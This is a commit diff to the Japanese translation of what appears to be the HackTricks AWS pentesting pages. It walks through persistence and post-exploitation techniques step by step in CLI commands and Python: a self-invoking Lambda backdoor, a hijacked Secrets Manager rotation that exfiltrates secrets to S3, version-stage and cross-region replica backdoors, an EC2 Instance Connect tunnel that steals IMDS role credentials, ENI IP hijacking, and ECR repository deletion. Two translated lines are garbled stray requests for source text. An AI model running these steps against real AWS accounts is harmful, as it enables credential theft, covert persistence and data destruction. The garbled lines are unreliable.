Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

2026-02-04 19:11:41 -08:00 · 2025-10-23 13:10:21 +00:00
parent 3aeb03e96b
commit 2a1f379497
18 changed files with 489 additions and 472 deletions
--- a/searchindex.js
+++ b/searchindex.js
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md
@@ -1,10 +1,12 @@
 # AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow

-Lambda の asynchronous destinations と Recursion 設定を悪用して、外部スケジューラ（EventBridge、cron 等）を使わずに関数を継続的に自己再呼び出しさせます。デフォルトでは Lambda は再帰ループを終了しますが、recursion config を Allow に設定するとこれが再び有効になります。Destinations は async invokes をサービス側で配信するため、単一のシード invoke によりコード不要のステルスなハートビート／バックドアチャンネルが作成されます。ノイズを抑えるために reserved concurrency でスロットリングすることも可能です。
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Lambda の asynchronous destinations と Recursion 設定を悪用して、外部のスケジューラ（EventBridge、cron など）なしで関数を継続的に自己再呼び出しさせる。デフォルトでは Lambda は再帰ループを終了させるが、recursion 設定を Allow にすると再び有効になる。Destinations は async invokes に対してサービス側で配信されるため、単一のシード呼び出しでコード不要のステルスなハートビート／バックドアチャネルを作れる。雑音を抑えるために reserved concurrency でスロットルするのも有効。

 Notes
- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.
+- Lambda は関数を直接そのものの destination に設定することを許可していない。destination として関数の alias を使用し、execution role にその alias を invoke する権限を与える。
+- 最低限の権限: ターゲット関数の event invoke config と recursion config を読み／更新する権限、バージョンを publish して alias を管理する権限、そして関数の execution role ポリシーを更新して alias に対する lambda:InvokeFunction を許可する権限。

 ## Requirements
 - Region: us-east-1
@@ -19,7 +21,7 @@ Notes
 FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
 aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
 ```
-2) バージョンを公開し、エイリアスを作成/更新する（自身を宛先として使用）
+2) バージョンを公開し、エイリアスを作成/更新する（自己宛先として使用）
 ```
 VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
 if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
@@ -29,7 +31,7 @@ aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-vers
 fi
 ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
 ```
-3) 関数の実行ロールがエイリアスを呼び出せるようにする（Lambda Destinations→Lambda が必要とする）
+3) 関数の実行ロールがエイリアスを呼び出せるように許可する（Lambda Destinations→Lambda が必要）
 ```
 # Set this to the execution role name used by the target function
 ROLE_NAME=<lambda-execution-role-name>
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
 EOF
 aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
 ```
-4) async destination を alias (self via alias) に設定し、retries を無効化する
+4) async destination を alias（self via alias）に設定し、retries を無効化する
 ```
 aws lambda put-function-event-invoke-config \
 --function-name "$TARGET_FN" \
@@ -73,12 +75,12 @@ aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed
 aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
 # or check CloudWatch Metrics for Invocations increasing
 ```
-8) 任意の stealth throttle
+8) 任意のステルス・スロットリング
 ```
 aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
 ```
 ## クリーンアップ
-ループを停止し、persistence を削除する。
+ループを停止して永続化を削除する。
 ```
 aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
 aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
@@ -89,4 +91,5 @@ ROLE_NAME=<lambda-execution-role-name>
 aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
 ```
 ## 影響
- 単一の async invoke により、外部のスケジューラなしで Lambda が自己を継続的に再呼び出しし、ステルスな persistence/heartbeat を可能にします。Reserved concurrency により、ノイズを単一の warm execution に制限できます。
+- 単一の async invoke により、外部のスケジューラなしで Lambda が継続的に自分自身を再呼び出しし、ステルスな persistence/heartbeat を可能にします。Reserved concurrency はノイズを単一のウォーム実行に制限できます。
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
@@ -1,24 +1,24 @@
-# AWS - Secrets Manager Persistence
+# AWS - Secrets Manager 永続化

 {{#include ../../../../banners/hacktricks-training.md}}

 ## Secrets Manager

-詳細は以下を参照してください：
+詳細は以下を参照してください:

 {{#ref}}
 ../../aws-services/aws-secrets-manager-enum.md
 {{#endref}}

-### Via Resource Policies
+### リソースポリシー経由

-Resource policies を介して外部アカウントに **secrets へのアクセスを付与することが可能** です。詳細は [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) を確認してください。外部アカウントが **secret にアクセスするためには**、その secret を暗号化している **KMS key へのアクセスも必要**である点に注意してください。
+リソースポリシーを使って、外部アカウントに**シークレットへのアクセスを付与する**ことが可能です。詳しくは[**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md)を確認してください。シークレットに**アクセスする**ためには、外部アカウントがシークレットを暗号化している**KMSキーへのアクセス**も必要である点に注意してください。

-### Via Secrets Rotate Lambda
+### Secrets Rotate Lambda経由

-secrets を自動的に回転させるために設定された Lambda が呼び出されます。攻撃者が Lambda の code を変更できれば、新しい secret を直接自分に exfiltrate することができます。
+シークレットを自動で**rotate secrets**するために、設定された**Lambda**が呼び出されます。攻撃者が**change**して**code**を改変できれば、新しいシークレットを直接**exfiltrate the new secret**することが可能になります。

-This is how lambda code for such action could look like:
+このような処理を行うLambda codeの例は次の通りです:
 ```python
 import boto3

@@ -48,34 +48,28 @@ import string
 password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
 return password
 ```
-{{#include ../../../../banners/hacktricks-training.md}}
+### RotateSecret を使ってローテーション用 Lambda を攻撃者制御の関数に差し替える

-
-
-
-
-### RotateSecret を介してローテーション Lambda を攻撃者制御の関数に差し替える
-
-Abuse `secretsmanager:RotateSecret` を使って、シークレットを攻撃者制御のローテーション Lambda に再バインドし、即時ローテーションをトリガーします。悪意のある関数はローテーションの各ステップ（createSecret/setSecret/testSecret/finishSecret）でシークレットのバージョン（AWSCURRENT/AWSPENDING）を攻撃者の受け取り先（例：S3 や外部 HTTP）へ exfiltrates します。
+`secretsmanager:RotateSecret` を悪用してシークレットを攻撃者制御の rotation Lambda に再バインドし、即時ローテーションをトリガーします。悪意ある関数はローテーションの各ステップ(createSecret/setSecret/testSecret/finishSecret)の間にシークレットのバージョン(AWSCURRENT/AWSPENDING)を攻撃者の受け皿（例: S3 や外部 HTTP）へ exfiltrate します。

 - 要件
- 権限: `secretsmanager:RotateSecret`, `lambda:InvokeFunction`（攻撃者 Lambda 上で）, `iam:CreateRole/PassRole/PutRolePolicy`（または AttachRolePolicy）— Lambda 実行ロールに `secretsmanager:GetSecretValue` とできれば `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`（ローテーション維持のため）を付与できること、シークレットの KMS キーに対する KMS `kms:Decrypt`、および exfiltration 用の `s3:PutObject`（または外部送信許可）。
- ローテーション有効なターゲットの secret id (`SecretId`)、もしくはローテーションを有効化できる権限。
+- 権限: `secretsmanager:RotateSecret`、攻撃者 Lambda に対する `lambda:InvokeFunction`、Lambda 実行ロールをプロビジョニングするための `iam:CreateRole/PassRole/PutRolePolicy`（または AttachRolePolicy）でロールに `secretsmanager:GetSecretValue`（可能なら `secretsmanager:PutSecretValue`）、`secretsmanager:UpdateSecretVersionStage`（ローテーション継続のため）、シークレットの KMS キーに対する KMS `kms:Decrypt`、および exfiltration 用の `s3:PutObject`（または外部への送信許可）。
+- ローテーションが有効になっている、または有効化できる対象の Secret id (`SecretId`)。

 - 影響
- 攻撃者は正規のローテーションコードを改変せずにシークレット値を取得できます。変更されるのはローテーション設定のみで、攻撃者の Lambda を指すようになります。発見されなければ、今後のスケジュールされたローテーションも継続して攻撃者の関数を呼び出します。
+- 攻撃者は正規のローテーションコードを変更せずにシークレット値を取得できます。ローテーション設定のみを攻撃者の Lambda を指すように変更します。検出されなければ、今後スケジュールされたローテーションも攻撃者の関数を呼び続けます。

 - 攻撃手順 (CLI)
-1) 攻撃者の受け取り先と Lambda ロールを用意
- exfiltration 用の S3 バケットを作成し、Lambda に信頼された実行ロールを作成してシークレット読み取りと S3 書き込み（必要に応じてログ/KMS の権限）を付与します。
-2) 各ローテーションステップでシークレット値を取得して S3 に書き込む攻撃者 Lambda をデプロイ
- 最小限のローテーションロジックは AWSCURRENT を AWSPENDING にコピーし、finishSecret で昇格させてサービスを健全に保つだけでも十分です。
-3) ローテーションを差し替えてトリガー
+1) 攻撃者の受け皿と Lambda 実行ロールを準備する
+- exfiltration 用の S3 バケットを作成し、Lambda に信頼された実行ロールを作成してシークレットを読み取り S3 に書き込む権限（必要に応じてログ/KMS 権限も）を付与する。
+2) 攻撃者 Lambda をデプロイする
+- 各ローテーションステップでシークレット値を取得して S3 に書き込む攻撃者 Lambda をデプロイする。最小限のローテーションロジックは AWSCURRENT を AWSPENDING にコピーし、finishSecret で昇格させるだけでサービスを維持できる。
+3) ローテーションを再バインドしてトリガーする
 - `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
-4) そのシークレットに対する S3 プレフィックスを一覧表示して JSON アーティファクトを検査し、exfiltration を確認します。
-5) （任意）検出を減らすために元のローテーション Lambda を復元します。
+4) そのシークレットの S3 プレフィックスを列挙し JSON アーティファクトを確認して exfiltration を検証する。
+5) （オプション）検出を抑えるため元のローテーション Lambda を復元する。

- Example attacker Lambda (Python) exfiltrating to S3
+- S3 に exfiltrate する攻撃者 Lambda (Python) の例
 - Environment: `EXFIL_BUCKET=<bucket>`
 - Handler: `lambda_function.lambda_handler`
 ```python
@@ -105,14 +99,14 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
 ```
 ### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)

-Secrets Manager の version staging ラベルを悪用して、攻撃者が制御するシークレットのバージョンを植え付け、カスタムステージ（例: `ATTACKER`）の下に隠したまま、プロダクションは元の `AWSCURRENT` を使用し続けさせます。任意のタイミングで `AWSCURRENT` を攻撃者のバージョンに移して依存ワークロードを汚染し、その後検出を最小化するために元に戻します。これにより、シークレット名や回転設定を変更せずに、ステルスなバックドア永続化と迅速な利用時操作が可能になります。
+Secrets Manager のバージョンステージラベルを悪用して、攻撃者が制御するシークレットのバージョンを仕込み、production が元の `AWSCURRENT` を使い続ける間にカスタムステージ（例: `ATTACKER`）の下に隠しておきます。任意のタイミングで `AWSCURRENT` を攻撃者のバージョンに移して依存するワークロードを汚染し、その後すぐに元に戻して検出を最小化します。これにより、シークレット名やローテーション設定を変更せずに、ステルスなバックドア永続化と迅速な使用時操作が可能になります。

 - 要件
- 権限: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (検証用)
- 対象のシークレット ID（リージョン内）
+- 必要な権限: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (検証用)
+- 対象の secret id（対象リージョン）

 - 影響
- 隠された攻撃者制御のシークレットバージョンを維持し、必要に応じて `AWSCURRENT` をそれに切り替えることで、同じシークレット名を解決するすべてのコンシューマに影響を与えます。素早い切り替えと即時の復元により、検出の可能性を下げつつ利用時の侵害を実現します。
+- シークレットの攻撃者制御のバージョンを隠して保持し、必要に応じて原子的に `AWSCURRENT` をそれに切り替えることで、同じシークレット名を解決するすべての利用者に影響を与えます。切り替えと即時のリバートにより検知される可能性を下げつつ、使用時点での乗っ取りを可能にします。

 - 攻撃手順 (CLI)
 - 準備
@@ -168,24 +162,24 @@ aws secretsmanager update-secret-version-stage \
 ```
 </details>

- 注意
+- 注記
 - `--client-request-token` を指定すると、Secrets Manager はそれを `VersionId` として使用します。`--version-stages` を明示的に設定せずに新しいバージョンを追加すると、デフォルトで `AWSCURRENT` が新しいバージョンに移動し、以前のものが `AWSPREVIOUS` としてマークされます。


 ### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)

-Abuse Secrets Manager multi-Region replication to create a replica of a target secret into a less-monitored Region, encrypt it with an attacker-controlled KMS key in that Region, then promote the replica to a standalone secret and attach a permissive resource policy granting attacker read access. The original secret in the primary Region remains unchanged, yielding durable, stealthy access to the secret value via the promoted replica while bypassing KMS/policy constraints on the primary.
+Secrets Manager の multi-Region replication を悪用して、ターゲット secret のレプリカを監視の緩い Region に作成し、その Region の attacker 制御の KMS キーで暗号化します。次にレプリカをスタンドアロンの secret に promote し、attacker に読み取りアクセスを付与する permissive resource policy をアタッチします。primary Region にある元の secret は変更されないため、promoted replica を介して secret 値への持続的かつステルスなアクセスを確保し、primary の KMS/ポリシー制約を回避できます。

 - 要件
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- replica Region で: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (または `kms:PutKeyPolicy`) により攻撃者主体が `kms:Decrypt` できるようにすること。
- 昇格した secret の読み取りアクセスを受ける攻撃者主体 (user/role)。
+- 権限: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
+- replica Region では: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (または `kms:PutKeyPolicy`) が必要で、attacker principal に対して `kms:Decrypt` を許可できること。
+- promoted secret に対して読み取りアクセスを受け取る attacker principal (user/role)。

 - 影響
- 攻撃者が管理する KMS CMK と permissive resource policy の下にある standalone replica を通じて、secret 値への永続的なクロスリージョンアクセス経路が確立されます。元の Region の primary secret は変更されません。
+- attacker-controlled の KMS CMK および permissive resource policy 下のスタンドアロンレプリカを介した、secret 値への持続的なクロス-Region アクセス経路。元の Region にある primary secret は変更されません。

- 攻撃 (CLI)
- Vars
+- 攻撃（CLI）
+- 変数
 ```bash
 export R1=<primary-region>   # e.g., us-east-1
 export R2=<replica-region>   # e.g., us-west-2
@@ -193,7 +187,7 @@ export SECRET_ID=<secret name or ARN in R1>
 export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
 export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
 ```
-1) レプリカリージョンに攻撃者が制御する KMS キーを作成する
+1) レプリカ Region に攻撃者が制御する KMS キーを作成する
 ```bash
 cat > /tmp/kms_policy.json <<'JSON'
 {"Version":"2012-10-17","Statement":[
@@ -206,7 +200,7 @@ aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-
 # Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
 aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
 ```
-2) attacker KMS key を使って secret を R2 に複製する
+2) attacker KMS key を使用してシークレットを R2 に複製する
 ```bash
 aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
 --add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
@@ -219,7 +213,7 @@ NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID
 aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
 aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
 ```
-4) R2 の standalone secret に permissive resource policy を付与する
+4) R2 の単独のシークレットに対して許容的なリソースポリシーを添付する
 ```bash
 cat > /tmp/replica_policy.json <<JSON
 {"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
@@ -227,9 +221,9 @@ JSON
 aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
 aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
 ```
-5) R2 の attacker principal からシークレットを読み取る
+5) R2 の attacker principal から secret を読み取る
 ```bash
 # Configure attacker credentials and read
 aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
@@ -2,19 +2,19 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-EC2 Instance Connect Endpoint (EIC Endpoint) を悪用して、パブリックIPや bastion がないプライベート EC2 インスタンスへの着信 SSH アクセスを獲得する方法:
+EC2 Instance Connect Endpoint (EIC Endpoint) を悪用して、プライベートな EC2 インスタンス（no public IP/bastion）への受信 SSH アクセスを獲得する方法:
 - ターゲットサブネット内に EIC Endpoint を作成する
- ターゲットの SG に対して EIC Endpoint SG からの着信 SSH を許可する
- `ec2-instance-connect:SendSSHPublicKey` を使って短命の SSH 公開鍵（約60秒有効）を注入する
- EIC トンネルを開いてインスタンスにピボットし、IMDS からインスタンスプロファイルのクレデンシャルを窃取する
+- ターゲット SG に対して EIC Endpoint SG からの受信 SSH を許可する
+- `ec2-instance-connect:SendSSHPublicKey` を使って短時間有効（約60秒）の SSH 公開鍵を注入する
+- EIC トンネルを開き、pivot してインスタンスに到達し、IMDS から instance profile の認証情報を窃取する

-Impact: バスチオンや public IP の制限を回避し、プライベート EC2 インスタンスへのステルスなリモートアクセス経路を確立します。攻撃者はインスタンスプロファイルを引き受けてアカウント内で操作できます。
+Impact: bastions や public IP 制限を回避してプライベート EC2 インスタンスへのステルスなリモートアクセス経路を確立します。攻撃者は instance profile を利用してアカウント内で操作できます。

-## Requirements
+## 要件
 - 必要な権限:
 - `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
 - `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
- SSH サーバーと EC2 Instance Connect が有効なターゲット Linux インスタンス（Amazon Linux 2 または Ubuntu 20.04+）。デフォルトユーザ: `ec2-user` (AL2) または `ubuntu` (Ubuntu).
+- SSH サーバーが稼働し、EC2 Instance Connect が有効なターゲットの Linux インスタンス (Amazon Linux 2 または Ubuntu 20.04+)。デフォルトユーザー: `ec2-user` (AL2) または `ubuntu` (Ubuntu).

 ## 変数
 ```bash
@@ -27,7 +27,7 @@ export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
 # OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
 export OS_USER=ec2-user
 ```
-## EIC Endpoint を作成
+## EIC エンドポイントを作成する
 ```bash
 aws ec2 create-instance-connect-endpoint \
 --subnet-id "$SUBNET_ID" \
@@ -45,7 +45,7 @@ grep -q 'create-complete' EIC_STATE && break
 sleep 5
 done
 ```
-## EIC Endpoint からターゲットインスタンスへのトラフィックを許可する
+## EIC Endpoint から target instance へのトラフィックを許可する
 ```bash
 aws ec2 authorize-security-group-ingress \
 --group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
@@ -73,13 +73,13 @@ TUN_PID=$!; sleep 2
 # SSH via the tunnel (within the 60s window)
 ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
 ```
-## ポストエクスプロイテーションの証明（インスタンスプロファイル資格情報の窃取）
+## Post-exploitation 実証 (instance profile credentials を窃取)
 ```bash
 # From the shell inside the instance
 curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
 curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
 ```
-そのファイルの内容がまだ提供されていません。src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md のマークダウン内容を貼り付けてください。
+翻訳する英語テキストを貼ってください。コード、リンク、タグなどは翻訳せずそのまま保持します。
 ```json
 {
 "Code": "Success",
@@ -89,7 +89,7 @@ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat R
 "Expiration": "2025-10-08T04:09:52Z"
 }
 ```
-盗んだ creds をローカルで使って本人確認する:
+盗まれた creds をローカルで使用して本人確認を行う:
 ```bash
 export AWS_ACCESS_KEY_ID=<AccessKeyId>
 export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
@@ -108,6 +108,7 @@ aws ec2 revoke-security-group-ingress \
 aws ec2 delete-instance-connect-endpoint \
 --instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
 ```
-> 注意
-> - 注入されたSSHキーは約60秒しか有効ではありません。トンネル/SSHを開く直前にキーを送信してください。
-> - `OS_USER` は AMI と一致する必要があります（例：`ubuntu` は Ubuntu、`ec2-user` は Amazon Linux 2）。
+> 注記
+> - 注入された SSH キーは約60秒しか有効ではありません。トンネル/SSH を開く直前にキーを送信してください。
+> - `OS_USER` は AMI と一致する必要があります（例: `ubuntu` は Ubuntu、`ec2-user` は Amazon Linux 2）。
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
@@ -2,49 +2,50 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-`ec2:UnassignPrivateIpAddresses` と `ec2:AssignPrivateIpAddresses` を悪用して、被害者ENIのセカンダリプライベートIPを盗み、同じサブネット/ AZ内の攻撃者ENIに移動させます。多くの内部サービスやセキュリティグループは特定のプライベートIPでアクセスを制御しています。そのセカンダリアドレスを移動することで、攻撃者はL3で信頼されたホストになりすまし、allowlistedなサービスに到達できます。
+`ec2:UnassignPrivateIpAddresses` と `ec2:AssignPrivateIpAddresses` を悪用して、被害者 ENI のセカンダリ private IP を奪い、同一の subnet/AZ にある攻撃者 ENI に移動します。多くの内部サービスや security groups は特定の private IP によってアクセスを制御しています。そのセカンダリアドレスを移動することで、攻撃者は L3 で信頼されたホストを偽装し、allowlisted なサービスへ到達できます。

-前提条件:
- 権限: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` が被害者ENIのARNに対して、`ec2:AssignPrivateIpAddresses` が攻撃者ENIのARNに対して必要です。
- 両方のENIは同じサブネット/AZ内にある必要があります。ターゲットアドレスはセカンダリIPでなければなりません（プライマリは割り当て解除できません）。
+Prereqs:
+- Permissions: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` on the victim ENI ARN, and `ec2:AssignPrivateIpAddresses` on the attacker ENI ARN.
+- Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).

-変数:
+Variables:
 - REGION=us-east-1
 - VICTIM_ENI=<eni-xxxxxxxx>
 - ATTACKER_ENI=<eni-yyyyyyyy>
- PROTECTED_SG=<sg-protected>   # SG on a target service that allows only $HIJACK_IP
+- PROTECTED_SG=<sg-protected>   # ターゲットサービス上の SG（$HIJACK_IP のみを許可）
 - PROTECTED_HOST=<private-dns-or-ip-of-protected-service>

-手順:
-1) 被害者ENIからセカンダリIPを選択する
+Steps:
+1) 被害者 ENI からセカンダリ IP を選択する
 ```bash
 aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
 export HIJACK_IP=$(cat HIJACK_IP)
 ```
-2) 保護対象のホストがそのIPのみを許可していることを確認する（idempotent）。代わりにSG-to-SGルールを使用している場合は、スキップする。
+2) 保護されたホストがそのIPのみを許可していることを確認する（冪等）。代わりにSG-to-SG rulesを使用している場合はスキップ。
 ```bash
 aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
 ```
-3) ベースライン: attacker instance から PROTECTED_HOST へのリクエストは、spoofed source がないと失敗するはず（例: SSM/SSH 経由）
+3) ベースライン: attacker instance から PROTECTED_HOST への request は spoofed source を使わないと失敗するはず (e.g., SSM/SSH)
 ```bash
 curl -sS --max-time 3 http://$PROTECTED_HOST || true
 ```
-4) 被害者の ENI からセカンダリ IP の割り当てを解除する
+4) 被害者の ENI から secondary IP の割り当てを解除する
 ```bash
 aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
 ```
-5) 同じIPを攻撃者のENIに割り当てる (AWS CLI v1では `--allow-reassignment` を追加)
+5) 同じIPを attacker ENI に割り当てる（AWS CLI v1 では `--allow-reassignment` を追加）
 ```bash
 aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
 ```
-6) 所有権が移転したことを確認
+6) 所有権が移動したことを確認する
 ```bash
 aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
 ```
-7) attacker instance から、hijacked IP に source-bind して protected host に到達する（IP が OS に設定されていることを確認する。設定されていない場合は `ip addr add $HIJACK_IP/<mask> dev eth0` で追加する）
+7) 攻撃者インスタンスから、hijacked IP を source-bind して保護対象のホストに到達する（OS に IP が設定されていることを確認する; 設定されていない場合は `ip addr add $HIJACK_IP/<mask> dev eth0` で追加する）
 ```bash
 curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
 ```
 ## 影響
- 同一の subnet/AZ 内で ENIs 間に secondary private IPs を移動することで、VPC 内の IP allowlists を回避し、trusted hosts を偽装できます。
- 特定の source IPs によってアクセスを制限している内部サービスに到達でき、lateral movement とデータアクセスが可能になります。
+- 同じ subnet/AZ 内の ENIs 間で secondary private IPs を移動させることで、VPC 内の IP allowlists を回避し、信頼されたホストを偽装できます。
+- 特定の source IPs によってアクセス制御されている internal services に到達でき、lateral movement や data access を可能にします。
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
@@ -4,7 +4,7 @@

 ## ECR

-詳細は次を参照してください
+詳細は以下を参照してください

 {{#ref}}
 ../../aws-services/aws-ecr-enum.md
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
 --registry-id 653711331788 \
 --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
 ```
-イメージをダウンロードしたら、**機密情報が含まれていないか確認してください**：
+イメージをダウンロードしたら、**機密情報が含まれていないか確認してください**:

 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens

 ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`

-これらの権限のいずれかを持つ攻撃者は、**リポジトリ内のすべてのイメージを削除するように lifecycle policy を作成または変更**し、その後 **ECR リポジトリ全体を削除**できます。これにより、リポジトリに格納されているすべてのコンテナイメージが失われます。
+これらの権限のいずれかを持つ攻撃者は、**リポジトリ内の全てのイメージを削除するための lifecycle policy を作成または変更**し、その後 **ECR リポジトリ全体を削除**できます。これにより、リポジトリに保存されているすべてのコンテナイメージが失われます。
 ```bash
 # Create a JSON file with the malicious lifecycle policy
 echo '{
@@ -90,27 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
 # Delete multiple images from the ECR public repository
 aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
 ```
-{{#include ../../../../banners/hacktricks-training.md}}
